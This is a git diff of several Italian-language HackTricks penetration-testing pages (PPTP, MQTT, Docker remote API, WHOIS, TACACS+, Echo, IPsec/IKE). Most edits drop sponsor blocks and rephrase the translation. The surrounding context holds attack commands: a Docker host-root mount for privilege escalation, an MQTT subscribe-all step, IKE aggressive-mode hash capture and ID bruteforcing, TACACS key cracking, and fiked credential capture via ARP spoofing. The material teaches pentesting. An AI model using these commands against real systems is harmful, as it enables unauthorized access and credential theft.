**Point-to-Point Tunneling Protocol (PPTP)** è un metodo ampiamente utilizzato per **accesso remoto** a dispositivi mobili. Utilizza **la porta TCP 1723** per lo scambio di chiavi, mentre **il protocollo IP 47** (Generic Routing Encapsulation, o **GRE**), viene utilizzato per crittografare i dati trasmessi tra i peer. Questa configurazione è cruciale per stabilire un canale di comunicazione sicuro su Internet, garantendo che i dati scambiati rimangano riservati e protetti da accessi non autorizzati.
|
||||
|
||||
**Default Port**:1723
|
||||
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** è conosciuto come un **protocollo di messaggistica publish/subscribe** che si distingue per la sua estrema semplicità e leggerezza. Questo protocollo è specificamente progettato per ambienti in cui i dispositivi hanno capacità limitate e operano su reti caratterizzate da bassa larghezza di banda, alta latenza o connessioni inaffidabili. Gli obiettivi principali di MQTT includono la minimizzazione dell'uso della larghezza di banda di rete e la riduzione della domanda sulle risorse dei dispositivi. Inoltre, mira a mantenere comunicazioni affidabili e fornire un certo livello di garanzia di consegna. Questi obiettivi rendono MQTT eccezionalmente adatto per il crescente campo della **comunicazione macchina-a-macchina (M2M)** e dell'**Internet delle Cose (IoT)**, dove è essenziale connettere in modo efficiente un'infinità di dispositivi. Inoltre, MQTT è altamente vantaggioso per le applicazioni mobili, dove è cruciale conservare larghezza di banda e durata della batteria.
|
||||
**MQ Telemetry Transport (MQTT)** è conosciuto come un **protocollo di messaggistica publish/subscribe** che si distingue per la sua estrema semplicità e leggerezza. Questo protocollo è specificamente progettato per ambienti in cui i dispositivi hanno capacità limitate e operano su reti caratterizzate da bassa larghezza di banda, alta latenza o connessioni inaffidabili. Gli obiettivi principali di MQTT includono la minimizzazione dell'uso della larghezza di banda di rete e la riduzione della domanda sulle risorse dei dispositivi. Inoltre, mira a mantenere una comunicazione affidabile e fornire un certo livello di garanzia di consegna. Questi obiettivi rendono MQTT eccezionalmente adatto per il crescente campo della **comunicazione macchina-a-macchina (M2M)** e dell'**Internet delle Cose (IoT)**, dove è essenziale connettere in modo efficiente una miriade di dispositivi. Inoltre, MQTT è altamente vantaggioso per le applicazioni mobili, dove è cruciale conservare la larghezza di banda e la durata della batteria.
|
||||
|
||||
**Default port:** 1883
|
||||
```
|
||||
|
@ -57,7 +44,7 @@ Ad esempio, se il broker rifiuta la connessione a causa di credenziali non valid
|
|||
|
||||
**L'autenticazione è totalmente opzionale** e anche se l'autenticazione viene eseguita, **la crittografia non è utilizzata per impostazione predefinita** (le credenziali vengono inviate in chiaro). Gli attacchi MITM possono ancora essere eseguiti per rubare le password.
|
||||
|
||||
Per connettersi a un servizio MQTT puoi usare: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) e iscriverti a tutti i topic facendo:
|
||||
Per connettersi a un servizio MQTT puoi usare: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) e iscriverti a tutti gli argomenti facendo:
|
||||
```
|
||||
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
|
||||
> subscribe "#" 1
|
||||
|
@ -113,13 +100,13 @@ Il modello publish/subscribe è composto da:
|
|||
* **Broker**: instrada tutti i messaggi dai publisher ai subscriber.
|
||||
* **Topic**: consiste in uno o più livelli separati da una barra obliqua (ad es., /smartshouse/livingroom/temperature).
|
||||
|
||||
### Formato del Pacchetto <a href="#f15a" id="f15a"></a>
|
||||
### Formato del pacchetto <a href="#f15a" id="f15a"></a>
|
||||
|
||||
Ogni pacchetto MQTT contiene un'intestazione fissa (Figura 02). Figura 02: Intestazione Fissa
|
||||
Ogni pacchetto MQTT contiene un'intestazione fissa (Figura 02). Figura 02: Intestazione fissa
|
||||
|
||||
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
### Tipi di Pacchetti
|
||||
### Tipi di pacchetto
|
||||
|
||||
* CONNECT (1): Iniziato dal client per richiedere una connessione al server.
|
||||
* CONNACK (2): L'accettazione del server di una connessione riuscita.
|
||||
|
@ -141,21 +128,10 @@ Ogni pacchetto MQTT contiene un'intestazione fissa (Figura 02). Figura 02: Intes
|
|||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le assunzioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,33 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker Basics
|
||||
|
||||
#### What is
|
||||
|
||||
Docker è la **piattaforma all'avanguardia** nell'**industria della containerizzazione**, guidando la **continua innovazione**. Facilita la creazione e distribuzione senza sforzo di applicazioni, che spaziano da **tradizionali a futuristiche**, e assicura il loro **distribuzione sicura** in diversi ambienti.
|
||||
Docker è la **piattaforma all'avanguardia** nell'**industria della containerizzazione**, guidando **innovazioni continue**. Facilita la creazione e distribuzione senza sforzo di applicazioni, che spaziano da **tradizionali a futuristiche**, e assicura il loro **distribuzione sicura** in diversi ambienti.
|
||||
|
||||
#### Basic docker architecture
|
||||
|
||||
* [**containerd**](http://containerd.io): Questo è un **runtime core** per i container, incaricato della **gestione completa del ciclo di vita di un container**. Ciò comporta la gestione del **trasferimento e della memorizzazione delle immagini**, oltre a supervisionare l'**esecuzione, il monitoraggio e il networking** dei container. **Ulteriori approfondimenti** su containerd sono **esplorati ulteriormente**.
|
||||
* Il **container-shim** gioca un ruolo critico come **intermediario** nella gestione dei **container senza testa**, prendendo senza problemi il controllo da **runc** dopo che i container sono stati inizializzati.
|
||||
* [**runc**](http://runc.io): Rinomato per le sue capacità di **runtime di container leggero e universale**, runc è allineato con lo **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**.
|
||||
* Il **container-shim** gioca un ruolo critico come **intermediario** nella gestione dei **container senza testa**, prendendo il controllo senza problemi da **runc** dopo che i container sono stati inizializzati.
|
||||
* [**runc**](http://runc.io): Riconosciuto per le sue capacità di **runtime per container leggero e universale**, runc è allineato con lo **standard OCI**. Viene utilizzato da containerd per **avviare e gestire i container** secondo le **linee guida OCI**, essendo evoluto dall'originale **libcontainer**.
|
||||
* [**grpc**](http://www.grpc.io) è essenziale per **facilitare la comunicazione** tra containerd e il **docker-engine**, garantendo un'**interazione efficiente**.
|
||||
* L'[**OCI**](https://www.opencontainers.org) è fondamentale nel mantenere le **specifiche OCI** per runtime e immagini, con le ultime versioni di Docker che sono **conformi sia agli standard di immagine che di runtime OCI**.
|
||||
* L'[**OCI**](https://www.opencontainers.org) è fondamentale nel mantenere le **specifiche OCI** per runtime e immagini, con le ultime versioni di Docker che sono **conformi sia agli standard delle immagini OCI che a quelli del runtime**.
|
||||
|
||||
#### Basic commands
|
||||
```bash
|
||||
|
@ -90,7 +77,7 @@ ctr container delete <containerName>
|
|||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** è un motore di container open-source che aderisce agli [standard dell'Open Container Initiative (OCI)](https://github.com/opencontainers), sviluppato e mantenuto da Red Hat. Si distingue da Docker con diverse caratteristiche distintive, in particolare la sua **architettura senza daemon** e il supporto per **container senza root**, che consente agli utenti di eseguire container senza privilegi di root.
|
||||
**Podman** è un motore di container open-source che aderisce agli [standard dell'Open Container Initiative (OCI)](https://github.com/opencontainers), sviluppato e mantenuto da Red Hat. Si distingue da Docker per diverse caratteristiche distintive, in particolare la sua **architettura senza daemon** e il supporto per **container senza root**, che consente agli utenti di eseguire container senza privilegi di root.
|
||||
|
||||
Podman è progettato per essere compatibile con l'API di Docker, consentendo l'uso dei comandi della CLI di Docker. Questa compatibilità si estende al suo ecosistema, che include strumenti come **Buildah** per la creazione di immagini di container e **Skopeo** per operazioni sulle immagini come push, pull e inspect. Maggiori dettagli su questi strumenti possono essere trovati sulla loro [pagina GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
|
@ -114,7 +101,7 @@ podman ls
|
|||
|
||||
### Informazioni di base
|
||||
|
||||
L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un contenitore docker con privilegi. Utilizzando l'API remota, è possibile allegare host / (directory radice) al contenitore e leggere/scrivere file dell'ambiente dell'host.
|
||||
L'API remota è in esecuzione per impostazione predefinita sulla porta 2375 quando è abilitata. Il servizio per impostazione predefinita non richiederà autenticazione, consentendo a un attaccante di avviare un contenitore docker con privilegi. Utilizzando l'API remota, è possibile allegare host / (directory radice) al contenitore e leggere/scrivere file dell'ambiente dell'host.
|
||||
|
||||
**Porta predefinita:** 2375
|
||||
```
|
||||
|
@ -161,13 +148,13 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
Se puoi **contattare l'API docker remota con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi** [**docker precedentemente** commentati](2375-pentesting-docker.md#basic-commands) per interagire con il servizio.
|
||||
Se puoi **contattare l'API docker remota con il comando `docker`** puoi **eseguire** qualsiasi dei **comandi docker** [**commentati precedentemente**](2375-pentesting-docker.md#basic-commands) per interagire con il servizio.
|
||||
|
||||
{% hint style="info" %}
|
||||
Puoi `export DOCKER_HOST="tcp://localhost:2375"` e **evitare** di usare il parametro `-H` con il comando docker
|
||||
{% endhint %}
|
||||
|
||||
**Rapida escalation dei privilegi**
|
||||
**Veloce escalation dei privilegi**
|
||||
```bash
|
||||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
|
@ -331,30 +318,19 @@ falco-probe found and loaded in dkms
|
|||
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
|
||||
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
|
||||
```
|
||||
#### Monitoraggio di Docker
|
||||
#### Monitorare Docker
|
||||
|
||||
Puoi utilizzare auditd per monitorare docker.
|
||||
Puoi usare auditd per monitorare docker.
|
||||
|
||||
### Riferimenti
|
||||
|
||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -362,7 +338,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Il protocollo **WHOIS** funge da metodo standard per **richiedere informazioni sui registranti o titolari di varie risorse Internet** attraverso specifiche banche dati. Queste risorse comprendono nomi di dominio, blocchi di indirizzi IP e sistemi autonomi, tra gli altri. Oltre a questi, il protocollo trova applicazione nell'accesso a uno spettro più ampio di informazioni.
|
||||
Il protocollo **WHOIS** serve come metodo standard per **richiedere informazioni sui registranti o detentori di varie risorse Internet** attraverso specifiche banche dati. Queste risorse comprendono nomi di dominio, blocchi di indirizzi IP e sistemi autonomi, tra gli altri. Oltre a questi, il protocollo trova applicazione nell'accesso a uno spettro più ampio di informazioni.
|
||||
|
||||
**Porta predefinita:** 43
|
||||
```
|
||||
|
@ -49,13 +41,7 @@ Inoltre, il servizio WHOIS deve sempre utilizzare un **database** per memorizzar
|
|||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks Comandi Automatici
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Il protocollo **Terminal Access Controller Access Control System (TACACS)** viene utilizzato per convalidare centralmente gli utenti che tentano di accedere a router o Network Access Servers (NAS). La sua versione aggiornata, **TACACS+**, separa i servizi in autenticazione, autorizzazione e contabilizzazione (AAA).
|
||||
|
@ -46,7 +38,7 @@ Un **attacco di spoofing ARP può essere utilizzato per eseguire un attacco Man-
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Se la chiave viene **bruteforced** con successo (**di solito in formato crittografato MD5**), **possiamo accedere all'attrezzatura e decrittografare il traffico crittografato TACACS.**
|
||||
Se la chiave viene **bruteforced** con successo (**di solito in formato MD5 crittografato**), **possiamo accedere all'attrezzatura e decrittografare il traffico crittografato TACACS.**
|
||||
|
||||
### Decrittografia del Traffico
|
||||
Una volta che la chiave è stata decifrata con successo, il passo successivo è **decrittografare il traffico crittografato TACACS**. Wireshark può gestire il traffico TACACS crittografato se la chiave è fornita. Analizzando il traffico decrittografato, è possibile ottenere informazioni come il **banner utilizzato e il nome utente dell'admin**.
|
||||
|
@ -57,11 +49,6 @@ Accedendo al pannello di controllo dell'attrezzatura di rete utilizzando le cred
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,14 +13,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Informazioni di base
|
||||
|
||||
|
@ -51,12 +43,6 @@ Hello echo #This is the response
|
|||
[CA-1996-01 Attacco Denial-of-Service su Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -16,23 +16,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
**IPsec** è ampiamente riconosciuto come la principale tecnologia per la sicurezza delle comunicazioni tra reti (LAN-to-LAN) e da utenti remoti al gateway di rete (accesso remoto), fungendo da spina dorsale per le soluzioni VPN aziendali.
|
||||
|
||||
L'istituzione di una **security association (SA)** tra due punti è gestita da **IKE**, che opera sotto l'egida di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:
|
||||
L'istituzione di una **associazione di sicurezza (SA)** tra due punti è gestita da **IKE**, che opera sotto l'ombrello di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:
|
||||
|
||||
* **Fase 1:** Viene creato un canale sicuro tra due endpoint. Questo viene realizzato attraverso l'uso di una Pre-Shared Key (PSK) o certificati, impiegando sia la modalità principale, che prevede tre coppie di messaggi, sia la **modalità aggressiva**.
|
||||
* **Fase 1.5:** Sebbene non sia obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che tenta di connettersi richiedendo un nome utente e una password.
|
||||
* **Fase 2:** Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con **ESP** e **AH**. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la **Perfect Forward Secrecy (PFS)**, migliorando la sicurezza.
|
||||
* **Fase 1:** Viene creato un canale sicuro tra due endpoint. Questo viene realizzato attraverso l'uso di una Chiave Pre-Condivisa (PSK) o certificati, impiegando sia la modalità principale, che prevede tre coppie di messaggi, sia la **modalità aggressiva**.
|
||||
* **Fase 1.5:** Anche se non obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che tenta di connettersi richiedendo un nome utente e una password.
|
||||
* **Fase 2:** Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con **ESP** e **AH**. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la **Perfetta Riservatezza Avanzata (PFS)**, migliorando la sicurezza.
|
||||
|
||||
**Porta predefinita:** 500/udp
|
||||
|
||||
|
@ -99,7 +91,7 @@ Cisco indica di evitare l'uso dei gruppi DH 1 e 2 perché non sono abbastanza fo
|
|||
|
||||
### Server fingerprinting
|
||||
|
||||
Poi, puoi usare ike-scan per cercare di **scoprire il fornitore** del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurre. Poi, **analizzerà** la **differenza** di **tempo** **tra** i **messaggi** ricevuti dal server e il modello di risposta corrispondente, il pentester può identificare con successo il fornitore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il **payload opzionale Vendor ID (VID)** con IKE.
|
||||
Poi, puoi usare ike-scan per cercare di **scoprire il fornitore** del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurre. Poi, **analizzerà** la **differenza** di **tempo** **tra** i **messaggi** ricevuti dal server e il corrispondente modello di risposta, il pentester può identificare con successo il fornitore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il payload **Vendor ID (VID)** opzionale con IKE.
|
||||
|
||||
**Specifica la trasformazione valida se necessario** (utilizzando --trans)
|
||||
|
||||
|
@ -127,7 +119,7 @@ Questo può essere ottenuto anche con lo script nmap _**ike-version**_
|
|||
|
||||
## Trovare l'ID corretto (nome del gruppo)
|
||||
|
||||
Per essere autorizzati a catturare l'hash, è necessario un'adeguata trasformazione che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.\
|
||||
Per essere autorizzati a catturare l'hash, è necessario un trasformazione valida che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.\
|
||||
Per farlo, ti consiglio 2 metodi:
|
||||
|
||||
### Forzare l'ID con ike-scan
|
||||
|
@ -160,7 +152,7 @@ Or use this dict (è una combinazione degli altri 2 dizionari senza ripetizioni)
|
|||
|
||||
### Bruteforcing ID con ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) è uno strumento che può essere utilizzato per **bruteforcare anche gli ID**. Questo strumento **cercerà di sfruttare diverse vulnerabilità** che potrebbero essere utilizzate per **distinguere tra un ID valido e uno non valido** (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco usare il metodo ike-scan se possibile).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) è uno strumento che può essere utilizzato per **bruteforcare anche gli ID**. Questo strumento **cerca di sfruttare diverse vulnerabilità** che potrebbero essere utilizzate per **distinguere tra un ID valido e uno non valido** (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco utilizzare il metodo ike-scan se possibile).
|
||||
|
||||
Per impostazione predefinita, **ikeforce** invierà all'inizio alcuni ID casuali per controllare il comportamento del server e determinare la tattica da utilizzare.
|
||||
|
||||
|
@ -187,7 +179,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
Infine, se hai trovato una **trasformazione valida** e il **nome del gruppo** e se la **modalità aggressiva è consentita**, allora puoi facilmente acquisire l'hash crackabile:
|
||||
Infine, se hai trovato una **trasformazione valida** e il **nome del gruppo** e se **la modalità aggressiva è consentita**, allora puoi facilmente acquisire l'hash crackabile:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
|
@ -205,7 +197,7 @@ Passando a **IKEv2**, si osserva un cambiamento notevole in cui **EAP (Protocoll
|
|||
|
||||
### MitM di rete locale per catturare le credenziali
|
||||
|
||||
Quindi puoi catturare i dati di accesso utilizzando _fiked_ e vedere se c'è qualche nome utente predefinito (Devi reindirizzare il traffico IKE a `fiked` per sniffare, il che può essere fatto con l'aiuto di ARP spoofing, [maggiori informazioni](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agirà come un endpoint VPN e catturerà le credenziali XAuth:
|
||||
Quindi puoi catturare i dati di accesso utilizzando _fiked_ e vedere se c'è qualche nome utente predefinito (Devi reindirizzare il traffico IKE a `fiked` per sniffare, il che può essere fatto con l'aiuto dello spoofing ARP, [maggiori informazioni](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agirà come un endpoint VPN e catturerà le credenziali XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
|
@ -260,11 +252,6 @@ Assicurati di utilizzare valori reali e sicuri per sostituire i segnaposto duran
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
